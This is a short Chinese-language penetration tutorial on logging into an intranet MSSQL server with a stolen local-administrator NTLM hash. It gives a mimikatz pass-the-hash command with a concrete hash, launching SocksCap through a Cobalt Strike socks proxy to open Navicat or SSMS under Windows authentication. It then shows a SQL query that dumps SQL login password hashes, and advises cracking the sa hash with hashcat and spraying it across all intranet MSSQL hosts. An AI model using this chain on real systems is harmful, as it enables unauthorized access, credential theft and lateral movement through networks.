实战场景
当前只有目标内网指定 mssql 机器本地管理员的密码 hash ,想进入数据库拿下更多的账号密码,但是无奈手里还没有任何可用的数据库账号密码 那如何实现无密码远程登录 mssql 数据库呢
原理
因为 mssql 默认支持 windows 本地认证登录 ,一般情况下administrator是能直接用凭证登录而不需要数据库密码的,因此我们可以抓取管理员的hash,本地hash注入启动 sockscap ,之后用sockscap启动 ssms 或者 navicat,而由sockscap启动的进程也是继承了刚刚的管理员权限
实战
抓到hash
使用mimikatz将进程注入
mimikatz "privilege::debug" "sekurlsa::pth /user:kaeiy /domain:. /ntlm:32ed87bdb5fdc5e9cba88547376818d4 /run:\"C:\Users\11502\AppData\Local\SocksCap64\SocksCap64_RunAsAdmin.exe\"" "exit"
cs开启一个socks服务使用SocksCap连接,并且用他启动navicat
输入目标主机ip地址直接选择windows认证即可连接成功
查询mssql用户
select name,password_hash from master.sys.sql_logins;
大家可以看到navicat回显不友好
所以还是选择ssms.exe比较好
把查出来的sa丢到 hashcat 跑跑,然后再拿着跑出来的 sa 明文密码,批量去跑下内网所有的 mssql 机器, 运气好说不定又能快速扩到一批内网机器
关于本地 hash 注入可利用的方式其实还非常多,甚至可以稍微衍生一步想想,是不是所有基于 windows 认证登录的服务或者客户端连接工具,都可以进行类似的利用呢?